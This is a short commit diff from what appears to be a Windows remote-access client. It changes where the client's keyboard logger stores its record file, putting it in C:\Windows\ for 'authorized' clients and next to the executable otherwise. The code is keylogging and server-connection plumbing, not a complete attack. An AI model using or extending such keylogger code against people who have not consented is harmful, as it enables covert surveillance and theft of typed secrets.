Fix: Authorization client use different keyboard log directory
This commit is contained in:
@@ -571,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
std::string expiredDate;
|
||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||
if (isAuthKernel) ParseAuthServer(&settings);
|
||||
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||
@@ -589,7 +590,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
|
||||
@@ -342,6 +342,7 @@ protected:
|
||||
|
||||
void *m_main = NULL;
|
||||
public:
|
||||
BOOL m_isAuth = FALSE;
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
};
|
||||
|
||||
@@ -50,11 +50,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
|
||||
{
|
||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||
tKeyboard->run = FOREVER_RUN;
|
||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
sub->m_isAuth = isAuth;
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
tKeyboard->p = sub;
|
||||
tKeyboard->conn = conn;
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
// 根据配置决定采用什么通讯协议
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
|
||||
|
||||
class ActivityWindow
|
||||
{
|
||||
|
||||
@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
std::string fileName = GetExeHashStr() + ".db";
|
||||
GET_FILEPATH(path, fileName.c_str());
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
|
||||
Reference in New Issue
Block a user